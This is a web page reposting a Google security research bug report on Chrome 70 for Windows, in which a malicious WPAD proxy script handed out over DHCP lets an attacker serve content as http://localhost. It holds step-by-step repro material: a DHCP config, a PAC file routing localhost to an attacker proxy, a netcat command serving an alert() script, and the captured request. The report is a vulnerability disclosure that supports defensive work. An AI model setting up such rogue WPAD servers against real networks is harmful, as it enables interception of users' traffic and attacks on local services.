首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Google Chrome 70.0.3538.77 Cross Site Scripting / Man-In-The-Middle
来源:Google Security Research 作者:jannh 发布时间:2018-12-12  
Chrome: malicious WPAD server can proxy localhost (leading to XSS in http://localhost:*/*) 




VERSION
Chrome Version: 70.0.3538.77 stable
Operating System: Windows 10 (version 1803)


When Chrome is installed on Windows and the user joins a malicious network that advertises a WPAD script (e.g. via DHCP), Chrome will fetch the WPAD script from the specified URL and use it for proxying decisions. In particular, for requests to http:// origins, the request is simply sent to the proxy instead. This is normally acceptable because if the network is malicious, an attacker could also perform a man-in-the-middle attack against any HTTP request.

However, localhost should be special. There are applications that bind a web server to localhost and then use "Host" header checks to prevent DNS rebinding attacks. Such applications need to be protected from malicious outside traffic even if the network is malicious. Currently, Chrome does not special-case localhost in proxying decisions; this means that an attacker can abuse WPAD to gain the ability to serve attacker-controlled content at http://localhost:*/* , at which point the attacker should be able to perform same-origin XHR to http://localhost:*/* (e.g. by letting the PAC file specify "DIRECT" as fallback if the proxy goes down).

I have tested that I can serve an attacker-controlled HTML file under the <a href="http://localhost/" title="" class="" rel="nofollow">http://localhost/</a> origin to Chrome in a VM with Windows 10.


=== repro steps ===
1. Set up a Windows 10 VM that is connected to a network bridge, without using a DHCP server integrated into the VM software.
2. Set up a DHCP server with a config that contains something like this:

option domain-name-servers 8.8.8.8;
option wpad-url code 252 = text;
subnet 192.168.250.0 netmask 255.255.255.0 {
  range 192.168.250.100 192.168.250.200;
  option routers 192.168.250.1;
  option wpad-url "http://192.168.250.1:8080/proxy.pac";
}

3. Set up an HTTP server (e.g. with "python -m SimpleHTTPServer 8080") that serves the following file as proxy.pac on port 8080:

function FindProxyForURL(url, host) {
  if (dnsDomainIs(host, "localhost")) {
    return "PROXY 192.168.250.1:8081";
  } else {
    return "DIRECT";
  }
}

4. Set up some sort of HTTP server that can serve HTTP traffic on port 8081 and doesn't get confused by the weird HTTP request of a proxy connection too much. netcat is easy to use for this, thanks to HTTP/0.9 (but note that this will be a one-shot server):

$ echo '<script>alert("hello from "+document.location)</script>' | nc -vlp 8081
Listening on [0.0.0.0] (family 0, port 8081)

5. Restart the VM's network connectivity and restart Chrome.
6. Navigate to <a href="http://localhost/" title="" class="" rel="nofollow">http://localhost/</a>.


=== Expected result ===
Chrome should connect to localhost directly and ignore the proxy.


=== Actual result ===
Chrome shows an alert box saying "hello from http://localhost", and netcat shows a request like this:

Connection from 192.168.250.105 51278 received!
GET <a href="http://localhost/" title="" class="" rel="nofollow">http://localhost/</a> HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.



Found by: jannh


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·XNU POSIX Shared Memory Mappin
·CyberLink LabelPrint 2.5 Stack
·MiniShare 1.4.1 HEAD / POST Bu
·WebKit JIT Proxy Object Issue
·FutureNet NXR-G240 Series Shel
·Linux userfaultfd tmpfs File P
·i-doit CMDB 1.11.2 - Remote Co
·LanSpy 2.0.1.159 Buffer Overfl
·Textpad 8.1.2 - Denial Of Serv
·SmartFTP Client 9.0.2623.0 Den
·HasanMWB 1.0 SQL Injection
·PrestaShop 1.6.x / 1.7.x Remot
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved